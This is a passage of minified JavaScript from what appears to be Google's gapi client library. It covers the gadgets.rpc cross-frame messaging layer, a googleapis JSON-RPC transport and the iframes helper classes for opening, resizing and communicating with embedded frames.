Error("q`"+a);}d=d&&d.src;b=b||_.K.Qa(d);n(a,b);b=_.I.xc(d);p(a,c||b.rpctoken)}}var y={},F={},E={},G={},B=0,L={},J={},V={},aa={},la={},za=null,pa=null,ba=window.top!==window.self,qa=window.name,ua=function(){}, db=window.console,ra=db&&db.log&&function(a){db.log(a)}||function(){},ka=function(){function a(a){return function(){ra(a+": call ignored")}}return{ZG:function(){return"noop"},RV:function(){return!0},Pb:a("init"),Dc:a("setup"),call:a("call")}}();_.I&&(V=_.I.xc());var Ga=!1,N=!1,R=function(){if("rmr"==V.rpctx)return jf.HK;var a="function"===typeof window.postMessage?jf.ZD:"object"===typeof window.postMessage?jf.ZD:window.ActiveXObject?jf.zJ?jf.zJ:jf.uu:0<window.navigator.userAgent.indexOf("WebKit")? jf.HK:"Gecko"===window.navigator.product?jf.frameElement:jf.uu;a||(a=ka);return a}();y[""]=function(){ra("Unknown RPC service: "+this.s)};y.__cb=function(a,b){var c=L[a];c&&(delete L[a],c.call(this,b))};return{config:function(a){"function"===typeof a.MK&&(ua=a.MK)},register:function(a,b){if("__cb"===a||"__ack"===a)throw Error("r");if(""===a)throw Error("s");y[a]=b},unregister:function(a){if("__cb"===a||"__ack"===a)throw Error("t");if(""===a)throw Error("u");delete y[a]},qK:function(a){y[""]=a},oM:function(){delete y[""]}, RG:function(){},call:function(a,b,c,d){a=a||"..";var e="..";".."===a?e=qa:"/"==a.charAt(0)&&(e=_.K.Qa(window.location.href),e="/"+qa+(e?"|"+e:""));++B;c&&(L[B]=c);var h={s:b,f:e,c:c?B:0,a:Array.prototype.slice.call(arguments,3),t:G[a],l:!!E[a]};a:if("bidir"===za||"c2p"===za&&".."===a||"p2c"===za&&".."!==a){var k=window.location.href;var l="?";if("query"===pa)l="#";else if("hash"===pa)break a;l=k.lastIndexOf(l);l=-1===l?k.length:l;k=k.substring(0,l)}else k=null;k&&(h.r=k);if(".."===a||null!=f(a)|| window.document.getElementById(a))(k=aa[a])||null===f(a)||(k=R),0===b.indexOf("legacy__")&&(k=R,h.s=b.substring(8),h.c=h.c?h.c:B),h.g=!0,h.r=e,k?(E[a]&&(k=jf.uu),!1===k.call(a,e,h)&&(aa[a]=ka,R.call(a,e,h))):la[a]?la[a].push(h):la[a]=[h]},kq:l,Ph:n,ew:p,Hr:v,fl:function(a){return G[a]},kC:function(a){delete F[a];delete E[a];delete G[a];delete J[a];delete aa[a]},uH:function(){return R.ZG()},nK:function(a,b){4<a.length?R.V7(a,d):c.apply(null,a.concat(b))},pK:function(a){a.a=Array.prototype.slice.call(a.a); window.setTimeout(function(){d(a)},0)},Qa:e,Bl:function(a){var b=null,c=l(a);c?b=c:(c=f(a))?b=c.origin:".."==a?b=V.parent:(a=window.document.getElementById(a))&&"iframe"===a.tagName.toLowerCase()&&(b=a.src);return e(b)},Pb:function(){!1===R.Pb(d,a)&&(R=ka);ba?v(".."):_.we.register("rpc",null,function(a){a=a.rpc||{};q(a);t(a)})},bF:h,xP:f,c0:"__ack",E5:qa||"..",T5:0,S5:1,R5:2}}();_.K.Pb()}; _.K.config({MK:function(a){throw Error("v`"+a);}});_.oe=_.ve;_.w("gadgets.rpc.config",_.K.config);_.w("gadgets.rpc.register",_.K.register);_.w("gadgets.rpc.unregister",_.K.unregister);_.w("gadgets.rpc.registerDefault",_.K.qK);_.w("gadgets.rpc.unregisterDefault",_.K.oM);_.w("gadgets.rpc.forceParentVerifiable",_.K.RG);_.w("gadgets.rpc.call",_.K.call);_.w("gadgets.rpc.getRelayUrl",_.K.kq);_.w("gadgets.rpc.setRelayUrl",_.K.Ph);_.w("gadgets.rpc.setAuthToken",_.K.ew);_.w("gadgets.rpc.setupReceiver",_.K.Hr);_.w("gadgets.rpc.getAuthToken",_.K.fl); _.w("gadgets.rpc.removeReceiver",_.K.kC);_.w("gadgets.rpc.getRelayChannel",_.K.uH);_.w("gadgets.rpc.receive",_.K.nK);_.w("gadgets.rpc.receiveSameDomain",_.K.pK);_.w("gadgets.rpc.getOrigin",_.K.Qa);_.w("gadgets.rpc.getTargetOrigin",_.K.Bl); var dk=function(a){return{execute:function(b){var c={method:a.httpMethod||"GET",root:a.root,path:a.url,params:a.urlParams,headers:a.headers,body:a.body},d=window.gapi,e=function(){var a=d.config.get("client/apiKey"),e=d.config.get("client/version");try{var k=d.config.get("googleapis.config/developerKey"),l=d.config.get("client/apiKey",k);d.config.update("client/apiKey",l);d.config.update("client/version","1.0.0-alpha");var n=d.client;n.request.call(n,c).then(b,b)}finally{d.config.update("client/apiKey", a),d.config.update("client/version",e)}};d.client?e():d.load.call(d,"client",e)}}},ek=function(a,b){return function(c){var d={};c=c.body;var e=_.cf(c),f={};if(e&&e.length)for(var h=0,k=e.length;h<k;++h){var l=e[h];f[l.id]=l}h=0;for(k=b.length;h<k;++h)l=b[h].id,d[l]=e&&e.length?f[l]:e;a(d,c)}},fk=function(a){a.transport={name:"googleapis",execute:function(b,c){for(var d=[],e=0,f=b.length;e<f;++e){var h=b[e],k=h.method,l=String(k).split(".")[0];l=_.H("googleapis.config/versions/"+k)||_.H("googleapis.config/versions/"+ l)||"v1";d.push({jsonrpc:"2.0",id:h.id,method:k,apiVersion:String(l),params:h.params})}b=dk({httpMethod:"POST",root:a.transport.root,url:"/rpc?pp=0",headers:{"Content-Type":"application/json"},body:d});b.execute.call(b,ek(c,d))},root:void 0}},gk=function(a){var b=this.method,c=this.transport;c.execute.call(c,[{method:b,id:b,params:this.rpc}],function(c){c=c[b];c.error||(c=c.data||c.result);a(c)})},ik=function(){for(var a=hk,b=a.split("."),c=function(b){b=b||{};b.groupId=b.groupId||"@self";b.userId= b.userId||"@viewer";b={method:a,rpc:b||{}};fk(b);b.execute=gk;return b},d=_.m,e=0,f=b.length;e<f;++e){var h=d[b[e]]||{};e+1==f&&(h=c);d=d[b[e]]=h}if(1<b.length&&"googleapis"!=b[0])for(b[0]="googleapis","delete"==b[b.length-1]&&(b[b.length-1]="remove"),d=_.m,e=0,f=b.length;e<f;++e)h=d[b[e]]||{},e+1==f&&(h=c),d=d[b[e]]=h},hk;for(hk in _.H("googleapis.config/methods"))ik(); _.w("googleapis.newHttpRequest",function(a){return dk(a)});_.w("googleapis.setUrlParameter",function(a,b){if("trace"!==a)throw Error("M");_.le("client/trace",b)}); _.fp=_.Td(_.ce,"rw",_.D()); var gp=function(a,b){(a=_.fp[a])&&a.state<b&&(a.state=b)};var hp=function(a){a=(a=_.fp[a])?a.oid:void 0;if(a){var b=_.Qd.getElementById(a);b&&b.parentNode.removeChild(b);delete _.fp[a];hp(a)}};_.ip=function(a){a=a.container;"string"===typeof a&&(a=window.document.getElementById(a));return a};_.jp=function(a){var b=a.clientWidth;return"position:absolute;top:-10000px;width:"+(b?b+"px":a.style.width||"300px")+";margin:0px;border-style:none;"}; _.kp=function(a,b){var c={},d=a.Ob(),e=b&&b.width,f=b&&b.height,h=b&&b.verticalAlign;h&&(c.verticalAlign=h);e||(e=d.width||a.width);f||(f=d.height||a.height);d.width=c.width=e;d.height=c.height=f;d=a.Ha();e=a.ka();gp(e,2);a:{e=a.$a();c=c||{};if(_.ce.oa){var k=d.id;if(k){f=(f=_.fp[k])?f.state:void 0;if(1===f||4===f)break a;hp(k)}}(f=e.nextSibling)&&f.getAttribute&&f.getAttribute("data-gapistub")&&(e.parentNode.removeChild(f),e.style.cssText="");f=c.width;h=c.height;var l=e.style;l.textIndent="0";l.margin= "0";l.padding="0";l.background="transparent";l.borderStyle="none";l.cssFloat="none";l.styleFloat="none";l.lineHeight="normal";l.fontSize="1px";l.verticalAlign="baseline";e=e.style;e.display="inline-block";d=d.style;d.position="static";d.left="0";d.top="0";d.visibility="visible";f&&(e.width=d.width=f+"px");h&&(e.height=d.height=h+"px");c.verticalAlign&&(e.verticalAlign=c.verticalAlign);k&&gp(k,3)}(k=b?b.title:null)&&a.Ha().setAttribute("title",k);(b=b?b.ariaLabel:null)&&a.Ha().setAttribute("aria-label", b)};_.lp=function(a){var b=a.$a();b&&b.removeChild(a.Ha())};_.mp=function(a){a.where=_.ip(a);var b=a.messageHandlers=a.messageHandlers||{},c=function(a){_.kp(this,a)};b._ready=c;b._renderstart=c;var d=a.onClose;a.onClose=function(a){d&&d.call(this,a);_.lp(this)};a.onCreate=function(a){a=a.Ha();a.style.cssText=_.jp(a)}}; var Yj=_.Xj=_.Xj||{};window.___jsl=window.___jsl||{};Yj.Mx={E8:function(){return window.___jsl.bsh},iH:function(){return window.___jsl.h},KC:function(a){window.___jsl.bsh=a},qZ:function(a){window.___jsl.h=a}}; _.I=_.I||{};_.I.Yu=function(a,b,c){for(var d=[],e=2,f=arguments.length;e<f;++e)d.push(arguments[e]);return function(){for(var c=d.slice(),e=0,f=arguments.length;e<f;++e)c.push(arguments[e]);return b.apply(a,c)}};_.I.Rq=function(a){var b,c,d={};for(b=0;c=a[b];++b)d[c]=c;return d}; _.I=_.I||{}; (function(){function a(a,b){return String.fromCharCode(b)}var b={0:!1,10:!0,13:!0,34:!0,39:!0,60:!0,62:!0,92:!0,8232:!0,8233:!0,65282:!0,65287:!0,65308:!0,65310:!0,65340:!0};_.I.escape=function(a,b){if(a){if("string"===typeof a)return _.I.Ft(a);if("Array"===typeof a){var c=0;for(b=a.length;c<b;++c)a[c]=_.I.escape(a[c])}else if("object"===typeof a&&b){b={};for(c in a)a.hasOwnProperty(c)&&(b[_.I.Ft(c)]=_.I.escape(a[c],!0));return b}}return a};_.I.Ft=function(a){if(!a)return a;for(var c=[],e,f,h=0,k= a.length;h<k;++h)e=a.charCodeAt(h),f=b[e],!0===f?c.push("&#",e,";"):!1!==f&&c.push(a.charAt(h));return c.join("")};_.I.x$=function(b){return b?b.replace(/&#([0-9]+);/g,a):b}})(); _.O={};_.op={};window.iframer=_.op; _.O.Ia=_.O.Ia||{};_.O.Ia.fQ=function(a){try{return!!a.document}catch(b){}return!1};_.O.Ia.DH=function(a){var b=a.parent;return a!=b&&_.O.Ia.fQ(b)?_.O.Ia.DH(b):a};_.O.Ia.Z8=function(a){var b=a.userAgent||"";a=a.product||"";return 0!=b.indexOf("Opera")&&-1==b.indexOf("WebKit")&&"Gecko"==a&&0<b.indexOf("rv:1.")}; var Mr,Nr,Or,Qr,Rr,Sr,Xr,Yr,Zr,$r,bs,cs,ds,fs,gs,is;Mr=function(){_.O.tI++;return["I",_.O.tI,"_",(new Date).getTime()].join("")};Nr=function(a){return a instanceof Array?a.join(","):a instanceof Object?_.df(a):a};Or=function(){};Qr=function(a){a&&a.match(Pr)&&_.le("googleapis.config/gcv",a)};Rr=function(a){_.Xj.Mx.qZ(a)};Sr=function(a){_.Xj.Mx.KC(a)};_.Tr=function(a,b){b=b||{};for(var c in a)a.hasOwnProperty(c)&&(b[c]=a[c]);return b}; _.Vr=function(a,b,c,d,e){var f=[],h;for(h in a)if(a.hasOwnProperty(h)){var k=b,l=c,n=a[h],p=d,q=Ur(h);q[k]=q[k]||{};p=_.I.Yu(p,n);n._iframe_wrapped_rpc_&&(p._iframe_wrapped_rpc_=!0);q[k][l]=p;f.push(h)}if(e)for(h in _.O.tn)_.O.tn.hasOwnProperty(h)&&f.push(h);return f.join(",")};Xr=function(a,b,c){var d={};if(a&&a._methods){a=a._methods.split(",");for(var e=0;e<a.length;e++){var f=a[e];d[f]=Wr(f,b,c)}}return d}; Yr=function(a){if(a&&a.disableMultiLevelParentRelay)a=!1;else{var b;if(b=_.op&&_.op._open&&"inline"!=a.style&&!0!==a.inline)a=a.container,b=!(a&&("string"==typeof a&&window.document.getElementById(a)||window.document==(a.ownerDocument||a.document)));a=b}return a};Zr=function(a,b){var c={};b=b.params||{};for(var d in a)"#"==d.charAt(0)&&(c[d.substring(1)]=a[d]),0==d.indexOf("fr-")&&(c[d.substring(3)]=a[d]),"#"==b[d]&&(c[d]=a[d]);for(var e in c)delete a["fr-"+e],delete a["#"+e],delete a[e];return c}; $r=function(a){if(":"==a.charAt(0)){var b=_.H("iframes/"+a.substring(1));a={};_.Vd(b,a);(b=a.url)&&(a.url=_.In(b));a.params||(a.params={});return a}return{url:_.In(a)}};bs=function(a){function b(){}b.prototype=as.prototype;a.prototype=new b};cs=function(a){return _.O.Rr[a]};ds=function(a,b){_.O.Rr[a]=b};fs=function(a){a=a||{};"auto"===a.height&&(a.height=_.Jm.Xc());var b=window&&es&&es.Na();b?b.DK(a.width||0,a.height||0):_.op&&_.op._resizeMe&&_.op._resizeMe(a)};gs=function(a){Qr(a)}; _.hs=function(){return _.Nd.location.origin||_.Nd.location.protocol+"//"+_.Nd.location.host};is=function(a){var b=_.Xd(a.location.href,"urlindex");if(b=_.Td(_.ce,"fUrl",[])[b]){var c=a.location.hash;b+=/#/.test(b)?c.replace(/^#/,"&"):c;a.location.replace(b)}}; if(window.ToolbarApi)es=window.ToolbarApi,es.Na=window.ToolbarApi.getInstance,es.prototype=window.ToolbarApi.prototype,_.g=es.prototype,_.g.openWindow=es.prototype.openWindow,_.g.XF=es.prototype.closeWindow,_.g.nL=es.prototype.setOnCloseHandler,_.g.KF=es.prototype.canClosePopup,_.g.DK=es.prototype.resizeWindow;else{var es=function(){},js=null;es.Na=function(){!js&&window.external&&window.external.GTB_IsToolbar&&(js=new es);return js};_.g=es.prototype;_.g.openWindow=function(a){return window.external.GTB_OpenPopup&& window.external.GTB_OpenPopup(a)};_.g.XF=function(a){window.external.GTB_ClosePopupWindow&&window.external.GTB_ClosePopupWindow(a)};_.g.nL=function(a,b){window.external.GTB_SetOnCloseHandler&&window.external.GTB_SetOnCloseHandler(a,b)};_.g.KF=function(a){return window.external.GTB_CanClosePopup&&window.external.GTB_CanClosePopup(a)};_.g.DK=function(a,b){return window.external.GTB_ResizeWindow&&window.external.GTB_ResizeWindow(a,b)};window.ToolbarApi=es;window.ToolbarApi.getInstance=es.Na}; var ks=function(){_.K.register("_noop_echo",function(){this.callback(_.O.RS(_.O.Tj[this.f]))})},ls=function(){window.setTimeout(function(){_.K.call("..","_noop_echo",_.O.pX)},0)},Wr=function(a,b,c){var d=function(d){var e=Array.prototype.slice.call(arguments,0),h=e[e.length-1];if("function"===typeof h){var k=h;e.pop()}e.unshift(b,a,k,c);_.K.call.apply(_.K,e)};d._iframe_wrapped_rpc_=!0;return d},Ur=function(a){_.O.Lv[a]||(_.O.Lv[a]={},_.K.register(a,function(b,c){var d=this.f;if(!("string"!=typeof b|| b in{}||d in{})){var e=this.callback,f=_.O.Lv[a][d],h;f&&Object.hasOwnProperty.call(f,b)?h=f[b]:Object.hasOwnProperty.call(_.O.tn,a)&&(h=_.O.tn[a]);if(h)return d=Array.prototype.slice.call(arguments,1),h._iframe_wrapped_rpc_&&e&&d.push(e),h.apply({},d)}_.Sa(['Unregistered call in window "',window.name,'" for method "',a,'", via proxyId "',b,'" from frame "',d,'".'].join(""));return null}));return _.O.Lv[a]}; _.O.cQ=function(a,b,c){var d=Array.prototype.slice.call(arguments);_.O.qH(function(a){a.sameOrigin&&(d.unshift("/"+a.claimedOpenerId+"|"+window.location.protocol+"//"+window.location.host),_.K.call.apply(_.K,d))})};_.O.RX=function(a,b){_.K.register(a,b)}; var Pr=/^[-_.0-9A-Za-z]+$/,ms={open:"open",onready:"ready",close:"close",onresize:"resize",onOpen:"open",onReady:"ready",onClose:"close",onResize:"resize",onRenderStart:"renderstart"},ns={onBeforeParentOpen:"beforeparentopen"},os={onOpen:function(a){var b=a.Ob();a.Bf(b.container||b.element);return a},onClose:function(a){a.remove()}};_.O.hn=function(a){var b=_.D();_.Vd(_.wn,b);_.Vd(a,b);return b}; var as=function(a,b,c,d,e,f,h,k){this.config=$r(a);this.openParams=this.fr=b||{};this.params=c||{};this.methods=d;this.ww=!1;ps(this,b.style);this.jp={};qs(this,function(){var a;(a=this.fr.style)&&_.O.Rr[a]?a=_.O.Rr[a]:a?(_.Ra(['Missing handler for style "',a,'". Continuing with default handler.'].join("")),a=null):a=os;if(a){if("function"===typeof a)var b=a(this);else{var c={};for(b in a){var d=a[b];c[b]="function"===typeof d?_.I.Yu(a,d,this):d}b=c}for(var h in e)a=b[h],"function"===typeof a&&rs(this, e[h],_.I.Yu(b,a))}f&&rs(this,"close",f)});this.Ki=this.ac=h;this.HB=(k||[]).slice();h&&this.HB.unshift(h.ka())};as.prototype.Ob=function(){return this.fr};as.prototype.Nj=function(){return this.params};as.prototype.Xt=function(){return this.methods};as.prototype.Qc=function(){return this.Ki};var ps=function(a,b){a.ww||((b=b&&!_.O.Rr[b]&&_.O.wy[b])?(a.vy=[],b(function(){a.ww=!0;for(var b=0,d=a.vy.length;b<d;++b)a.vy[b].call(a)})):a.ww=!0)},qs=function(a,b){a.ww?b.call(a):a.vy.push(b)}; as.prototype.Uc=function(a,b){qs(this,function(){rs(this,a,b)})};var rs=function(a,b,c){a.jp[b]=a.jp[b]||[];a.jp[b].push(c)};as.prototype.cm=function(a,b){qs(this,function(){var c=this.jp[a];if(c)for(var d=0,e=c.length;d<e;++d)if(c[d]===b){c.splice(d,1);break}})}; as.prototype.Og=function(a,b){var c=this.jp[a];if(c)for(var d=Array.prototype.slice.call(arguments,1),e=0,f=c.length;e<f;++e)try{var h=c[e].apply({},d)}catch(k){_.Sa(['Exception when calling callback "',a,'" with exception "',k.name,": ",k.message,'".'].join(""))}return h}; var ss=function(a){return"number"==typeof a?{value:a,oz:a+"px"}:"100%"==a?{value:100,oz:"100%",QI:!0}:null},ts=function(a,b,c,d,e,f,h){as.call(this,a,b,c,d,ms,e,f,h);this.id=b.id||Mr();this.wr=b.rpctoken&&String(b.rpctoken)||Math.round(1E9*(0,_.ck)());this.WU=Zr(this.params,this.config);this.ez={};qs(this,function(){this.Og("open");_.Tr(this.ez,this)})};bs(ts);_.g=ts.prototype; _.g.Bf=function(a,b){if(!this.config.url)return _.Sa("Cannot open iframe, empty URL."),this;var c=this.id;_.O.Tj[c]=this;var d=_.Tr(this.methods);d._ready=this.uv;d._close=this.close;d._open=this.vv;d._resizeMe=this.Yn;d._renderstart=this.PJ;var e=this.WU;this.wr&&(e.rpctoken=this.wr);e._methods=_.Vr(d,c,"",this,!0);this.el=a="string"===typeof a?window.document.getElementById(a):a;d={};d.id=c;if(b){d.attributes=b;var f=b.style;if("string"===typeof f){if(f){var h=[];f=f.split(";");for(var k=0,l=f.length;k< l;++k){var n=f[k];if(0!=n.length||k+1!=l)n=n.split(":"),2==n.length&&n[0].match(/^[ a-zA-Z_-]+$/)&&n[1].match(/^[ +.%0-9a-zA-Z_-]+$/)?h.push(n.join(":")):_.Sa(['Iframe style "',f[k],'" not allowed.'].join(""))}h=h.join(";")}else h="";b.style=h}}this.Ob().allowPost&&(d.allowPost=!0);this.Ob().forcePost&&(d.forcePost=!0);d.queryParams=this.params;d.fragmentParams=e;d.paramsSerializer=Nr;this.Qg=_.Kn(this.config.url,a,d);a=this.Qg.getAttribute("data-postorigin")||this.Qg.src;_.O.Tj[c]=this;_.K.ew(this.id, this.wr);_.K.Ph(this.id,a);return this};_.g.le=function(a,b){this.ez[a]=b};_.g.ka=function(){return this.id};_.g.Ha=function(){return this.Qg};_.g.$a=function(){return this.el};_.g.Ze=function(a){this.el=a};_.g.uv=function(a){var b=Xr(a,this.id,"");this.Ki&&"function"==typeof this.methods._ready&&(a._methods=_.Vr(b,this.Ki.ka(),this.id,this,!1),this.methods._ready(a));_.Tr(a,this);_.Tr(b,this);this.Og("ready",a)};_.g.PJ=function(a){this.Og("renderstart",a)}; _.g.close=function(a){a=this.Og("close",a);delete _.O.Tj[this.id];return a};_.g.remove=function(){var a=window.document.getElementById(this.id);a&&a.parentNode&&a.parentNode.removeChild(a)}; _.g.vv=function(a){var b=Xr(a.params,this.id,a.proxyId);delete a.params._methods;"_parent"==a.openParams.anchor&&(a.openParams.anchor=this.el);if(Yr(a.openParams))new us(a.url,a.openParams,a.params,b,b._onclose,this,a.openedByProxyChain);else{var c=new ts(a.url,a.openParams,a.params,b,b._onclose,this,a.openedByProxyChain),d=this;qs(c,function(){var a={childId:c.ka()},f=c.ez;f._toclose=c.close;a._methods=_.Vr(f,d.id,c.id,c,!1);b._onopen(a)})}}; _.g.Yn=function(a){if(void 0===this.Og("resize",a)&&this.Qg){var b=ss(a.width);null!=b&&(this.Qg.style.width=b.oz);a=ss(a.height);null!=a&&(this.Qg.style.height=a.oz);this.Qg.parentElement&&(null!=b&&b.QI||null!=a&&a.QI)&&(this.Qg.parentElement.style.display="block")}}; var us=function(a,b,c,d,e,f,h){as.call(this,a,b,c,d,ns,e,f,h);this.url=a;this.xm=null;this.cC=Mr();qs(this,function(){this.Og("beforeparentopen");var a=_.Tr(this.methods);a._onopen=this.fX;a._ready=this.uv;a._onclose=this.dX;this.params._methods=_.Vr(a,"..",this.cC,this,!0);a={};for(c in this.params)a[c]=Nr(this.params[c]);var b=this.config.url;if(this.fr.hideUrlFromParent){var c=window.name;var d=b;b=_.ln(this.config.url,this.params,{},Nr);var e=a;a={};a._methods=e._methods;a["#opener"]=e["#opener"]; a["#urlindex"]=e["#urlindex"];a["#opener"]&&void 0!=e["#urlindex"]?(a["#opener"]=c+","+a["#opener"],c=d):(d=_.Td(_.ce,"fUrl",[]),e=d.length,d[e]=b,_.ce.rUrl=is,a["#opener"]=c,a["#urlindex"]=e,c=_.Xj.Qa(_.Nd.location.href),b=_.H("iframes/relay_url_"+(0,window.encodeURIComponent)(c))||"/_/gapi/sibling/1/frame.html",c+=b);b=c}_.op._open({url:b,openParams:this.fr,params:a,proxyId:this.cC,openedByProxyChain:this.HB})})};bs(us);us.prototype.iT=function(){return this.xm}; us.prototype.fX=function(a){this.xm=a.childId;var b=Xr(a,"..",this.xm);_.Tr(b,this);this.close=b._toclose;_.O.Tj[this.xm]=this;this.Ki&&this.methods._onopen&&(a._methods=_.Vr(b,this.Ki.ka(),this.xm,this,!1),this.methods._onopen(a))};us.prototype.uv=function(a){var b=String(this.xm),c=Xr(a,"..",b);_.Tr(a,this);_.Tr(c,this);this.Og("ready",a);this.Ki&&this.methods._ready&&(a._methods=_.Vr(c,this.Ki.ka(),b,this,!1),this.methods._ready(a))}; us.prototype.dX=function(a){if(this.Ki&&this.methods._onclose)this.methods._onclose(a);else return a=this.Og("close",a),delete _.O.Tj[this.xm],a}; var vs=function(a,b,c,d,e,f,h){as.call(this,a,b,c,d,ns,f,h);this.id=b.id||Mr();this.v_=e;d._close=this.close;this.onClosed=this.JJ;this.HM=0;qs(this,function(){this.Og("beforeparentopen");var b=_.Tr(this.methods);this.params._methods=_.Vr(b,"..",this.cC,this,!0);b={};b.queryParams=this.params;a=_.Bn(_.Qd,this.config.url,this.id,b);var c=e.openWindow(a);this.canAutoClose=function(a){a(e.KF(c))};e.nL(c,this);this.HM=c})};bs(vs); vs.prototype.close=function(a){a=this.Og("close",a);this.v_.XF(this.HM);return a};vs.prototype.JJ=function(){this.Og("close")}; (function(){_.O.Tj={};_.O.Rr={};_.O.wy={};_.O.tI=0;_.O.Lv={};_.O.tn={};_.O.Bv=null;_.O.Av=[];_.O.pX=function(a){var b=!1;try{if(null!=a){var c=window.parent.frames[a.id];b=c.iframer.id==a.id&&c.iframes.openedId_(_.op.id)}}catch(f){}try{_.O.Bv={origin:this.origin,referer:this.referer,claimedOpenerId:a&&a.id,claimedOpenerProxyChain:a&&a.proxyChain||[],sameOrigin:b};for(a=0;a<_.O.Av.length;++a)_.O.Av[a](_.O.Bv);_.O.Av=[]}catch(f){}};_.O.RS=function(a){var b=a&&a.Ki,c=null;b&&(c={},c.id=b.ka(),c.proxyChain= a.HB);return c};ks();if(window.parent!=window){var a=_.I.xc();a.gcv&&Qr(a.gcv);var b=a.jsh;b&&Rr(b);_.Tr(Xr(a,"..",""),_.op);_.Tr(a,_.op);ls()}_.O.Bb=cs;_.O.Xb=ds;_.O.pZ=gs;_.O.resize=fs;_.O.ZR=function(a){return _.O.wy[a]};_.O.NC=function(a,b){_.O.wy[a]=b};_.O.CK=fs;_.O.PZ=gs;_.O.ou={};_.O.ou.get=cs;_.O.ou.set=ds;_.O.EP=function(a,b){Ur(a);_.O.tn[a]=b||window[a]};_.O.s8=function(a){delete _.O.tn[a]};_.O.open=function(a,b,e,f,h,k){3==arguments.length?f={}:4==arguments.length&&"function"===typeof f&& (h=f,f={});var c="bubble"===b.style&&es?es.Na():null;return c?new vs(a,b,e,f,c,h,k):Yr(b)?new us(a,b,e,f,h,k):new ts(a,b,e,f,h,k)};_.O.close=function(a,b){_.op&&_.op._close&&_.op._close(a,b)};_.O.ready=function(a,b,e){2==arguments.length&&"function"===typeof b&&(e=b,b={});var c=a||{};"height"in c||(c.height=_.Jm.Xc());c._methods=_.Vr(b||{},"..","",_.op,!0);_.op&&_.op._ready&&_.op._ready(c,e)};_.O.qH=function(a){_.O.Bv?a(_.O.Bv):_.O.Av.push(a)};_.O.jX=function(a){return!!_.O.Tj[a]};_.O.kS=function(){return["https://ssl.gstatic.com/gb/js/", _.H("googleapis.config/gcv")].join("")};_.O.jK=function(a){var b={mouseover:1,mouseout:1};if(_.op._event)for(var c=0;c<a.length;c++){var f=a[c];f in b&&_.I.Hs(window.document,f,function(a){_.op._event({event:a.type,timestamp:(new Date).getTime()})},!0)}};_.O.zZ=Rr;_.O.KC=Sr;_.O.gJ=Or;_.O.vI=_.op})(); _.w("iframes.allow",_.O.EP);_.w("iframes.callSiblingOpener",_.O.cQ);_.w("iframes.registerForOpenedSibling",_.O.RX);_.w("iframes.close",_.O.close);_.w("iframes.getGoogleConnectJsUri",_.O.kS);_.w("iframes.getHandler",_.O.Bb);_.w("iframes.getDeferredHandler",_.O.ZR);_.w("iframes.getParentInfo",_.O.qH);_.w("iframes.iframer",_.O.vI);_.w("iframes.open",_.O.open);_.w("iframes.openedId_",_.O.jX);_.w("iframes.propagate",_.O.jK);_.w("iframes.ready",_.O.ready);_.w("iframes.resize",_.O.resize); _.w("iframes.setGoogleConnectJsVersion",_.O.pZ);_.w("iframes.setBootstrapHint",_.O.KC);_.w("iframes.setJsHint",_.O.zZ);_.w("iframes.setHandler",_.O.Xb);_.w("iframes.setDeferredHandler",_.O.NC);_.w("IframeBase",as);_.w("IframeBase.prototype.addCallback",as.prototype.Uc);_.w("IframeBase.prototype.getMethods",as.prototype.Xt);_.w("IframeBase.prototype.getOpenerIframe",as.prototype.Qc);_.w("IframeBase.prototype.getOpenParams",as.prototype.Ob);_.w("IframeBase.prototype.getParams",as.prototype.Nj); _.w("IframeBase.prototype.removeCallback",as.prototype.cm);_.w("Iframe",ts);_.w("Iframe.prototype.close",ts.prototype.close);_.w("Iframe.prototype.exposeMethod",ts.prototype.le);_.w("Iframe.prototype.getId",ts.prototype.ka);_.w("Iframe.prototype.getIframeEl",ts.prototype.Ha);_.w("Iframe.prototype.getSiteEl",ts.prototype.$a);_.w("Iframe.prototype.openInto",ts.prototype.Bf);_.w("Iframe.prototype.remove",ts.prototype.remove);_.w("Iframe.prototype.setSiteEl",ts.prototype.Ze); _.w("Iframe.prototype.addCallback",ts.prototype.Uc);_.w("Iframe.prototype.getMethods",ts.prototype.Xt);_.w("Iframe.prototype.getOpenerIframe",ts.prototype.Qc);_.w("Iframe.prototype.getOpenParams",ts.prototype.Ob);_.w("Iframe.prototype.getParams",ts.prototype.Nj);_.w("Iframe.prototype.removeCallback",ts.prototype.cm);_.w("IframeProxy",us);_.w("IframeProxy.prototype.getTargetIframeId",us.prototype.iT);_.w("IframeProxy.prototype.addCallback",us.prototype.Uc);_.w("IframeProxy.prototype.getMethods",us.prototype.Xt); _.w("IframeProxy.prototype.getOpenerIframe",us.prototype.Qc);_.w("IframeProxy.prototype.getOpenParams",us.prototype.Ob);_.w("IframeProxy.prototype.getParams",us.prototype.Nj);_.w("IframeProxy.prototype.removeCallback",us.prototype.cm);_.w("IframeWindow",vs);_.w("IframeWindow.prototype.close",vs.prototype.close);_.w("IframeWindow.prototype.onClosed",vs.prototype.JJ);_.w("iframes.util.getTopMostAccessibleWindow",_.O.Ia.DH);_.w("iframes.handlers.get",_.O.ou.get);_.w("iframes.handlers.set",_.O.ou.set); _.w("iframes.resizeMe",_.O.CK);_.w("iframes.setVersionOverride",_.O.PZ); as.prototype.send=function(a,b,c){_.O.QK(this,a,b,c)};_.op.send=function(a,b,c){_.O.QK(_.op,a,b,c)};as.prototype.register=function(a,b){var c=this;c.Uc(a,function(a){b.call(c,a)})};_.O.QK=function(a,b,c,d){var e=[];void 0!==c&&e.push(c);d&&e.push(function(a){d.call(this,[a])});a[b]&&a[b].apply(a,e)};_.O.Ho=function(){return!0};_.w("iframes.CROSS_ORIGIN_IFRAMES_FILTER",_.O.Ho);_.w("IframeBase.prototype.send",as.prototype.send);_.w("IframeBase.prototype.register",as.prototype.register); _.w("Iframe.prototype.send",ts.prototype.send);_.w("Iframe.prototype.register",ts.prototype.register);_.w("IframeProxy.prototype.send",us.prototype.send);_.w("IframeProxy.prototype.register",us.prototype.register);_.w("IframeWindow.prototype.send",vs.prototype.send);_.w("IframeWindow.prototype.register",vs.prototype.register);_.w("iframes.iframer.send",_.O.vI.send); var Iu=_.O.Xb,Ju={open:function(a){var b=_.ip(a.Ob());return a.Bf(b,{style:_.jp(b)})},attach:function(a,b){var c=_.ip(a.Ob()),d=b.id,e=b.getAttribute("data-postorigin")||b.src,f=/#(?:.*&)?rpctoken=(\d+)/.exec(e);f=f&&f[1];a.id=d;a.wr=f;a.el=c;a.Qg=b;_.O.Tj[d]=a;b=_.Tr(a.methods);b._ready=a.uv;b._close=a.close;b._open=a.vv;b._resizeMe=a.Yn;b._renderstart=a.PJ;_.Vr(b,d,"",a,!0);_.K.ew(a.id,a.wr);_.K.Ph(a.id,e);c=_.O.hn({style:_.jp(c)});for(var h in 